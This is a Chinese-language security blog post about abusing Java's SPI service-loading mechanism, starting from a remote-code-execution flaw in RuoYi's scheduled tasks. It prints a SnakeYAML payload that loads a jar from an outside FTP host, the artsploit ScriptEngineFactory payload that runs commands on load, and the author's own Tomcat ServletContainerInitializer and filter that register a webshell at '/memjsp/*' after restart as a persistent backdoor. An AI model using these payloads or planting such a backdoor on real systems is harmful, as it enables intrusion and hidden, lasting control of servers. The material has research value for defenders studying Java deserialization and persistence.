未分类 · 2022年7月2日 1

关于javaSPI机制的一些研究

缘起若依RCE

众所周知若伊后台使用的计划任务是可能RCE的
参考:https://www.cnblogs.com/Fluorescence-tjy/p/16045081.html
payload如下:

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["ftp://ss.burpcollaborator.net/yaml-payload.jar"]
  ]]
]')

ymal-payload.jar的内容
参考:https://github.com/artsploit/yaml-payload.git

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
            Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

只需要自己搭建一个ftp服务,然后把yaml-payload.jar放上去就可以了。但是我测试总是没法成功,后来才知道我忽略了META-INFO文件夹,这个是java SPI服务的关键。
关于SPI服务参考:https://blog.csdn.net/chinabestchina/article/details/108371873

SPI服务机制

SPI服务其实是java的一种插件扩展机制,意思就是说按照这样的格式书写,通过服务发现机制会自动的初始化指定的类。
这里的ScriptEngineFactory接口是java实现脚本引擎扩展的接口,在JDK中,oracle自己实现了一个js脚本解析引擎,在jre/ext目录下的nashorn.jar,而这个脚本引擎就叫nashorn只是由于维护起来实在是麻烦,oracle最终停掉了这个项目。

其中的xcscript就是我自己实现的脚本引擎。

我们只需要把生成好的jar包放到classpath目录下面,ServiceLoader就会自动去加载里面对应的class,从而实现RCE代码执行。

然后我们回到漏洞本身。

new ScriptEngineManager(new URLClassLoader(new URL[]{new URL("ftp://xx.com/aaa.jar")}))

ScriptEngineManager会自动的去指定的classloader加载,因此造成了代码执行。

那么我们需要吧jar文件放到哪个目录执行呢?
第一个是java系统jre/ext目录
第二个是应用的特定目录,如tomcat的lib目录,jsp项目的WEB-INF/lib目录。

其他的利用思路

既然这是一个java提供的扩展机制,那么java自己和第三方应用实现扩展也会用到这样的机制,我第一个想到的是数据库驱动,查看了JDBC的源码,果然是使用了SPI。

我们自己实现一个

导出jar包为xdrive.jar分别放到jre/ext和lib,WEB-INF/lib下测试,在启动tomcat的时候成功触发代码

启动springboot打包的jar包,同样成功触发。
这样触发有两个限制条件
1在指定位置写jar文件,2重启应用(实战中第二个条件也很容易达成)。
当我们需要留内存后门的时候就比较有用了,由于内存后门重启后失效,这个可以和内存后门完美配合。
于是我在tomcat的代码里找了一个ServletContainerInitializer的spi,实现了tomcat的下的内存后门,重启后植入。
XcServletContainer.java

package vip.xcao.servlet;

import java.util.EnumSet;
import java.util.Set;

import javax.servlet.DispatcherType;
import javax.servlet.FilterRegistration;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.HandlesTypes;

@HandlesTypes({XcFilter.class})
public class XcServletContainer implements javax.servlet.ServletContainerInitializer{
    static {
        System.out.println("XcServletContainer static");
    }
    public void onStartup(Set<Class<?>> set, ServletContext servletContext) throws ServletException {
        // TODO Auto-generated method stub
        // 将webshell filter注册到上下文当中
        FilterRegistration.Dynamic filter = servletContext.addFilter(XcFilter.class.getSimpleName(), XcFilter.class);
        EnumSet<DispatcherType> dispatcherTypes = EnumSet.allOf(DispatcherType.class);
        dispatcherTypes.add(DispatcherType.REQUEST);
        dispatcherTypes.add(DispatcherType.FORWARD);
        // 设置webshell filter的访问路径
        filter.addMappingForUrlPatterns(dispatcherTypes, true, "/memjsp/*");
    }

}

XcFilter.java

package vip.xcao.servlet;

import java.io.IOException;

import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class XcFilter implements Filter{

    public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
            throws IOException, ServletException {
        // TODO Auto-generated method stub
        EvalJavaMem mem = new EvalJavaMem();
        HttpServletRequest request = (HttpServletRequest)arg0;
        HttpServletResponse response = (HttpServletResponse)arg1;
        mem.eval(request, response, request.getSession());
    }

}

tomcat重启后

还有什么研究思路

我们是不是可以把jre和其他应用,如tomcat,springboot的所有用了spi的jar包的列出来,一一实现一遍,很可能会有意外的收获。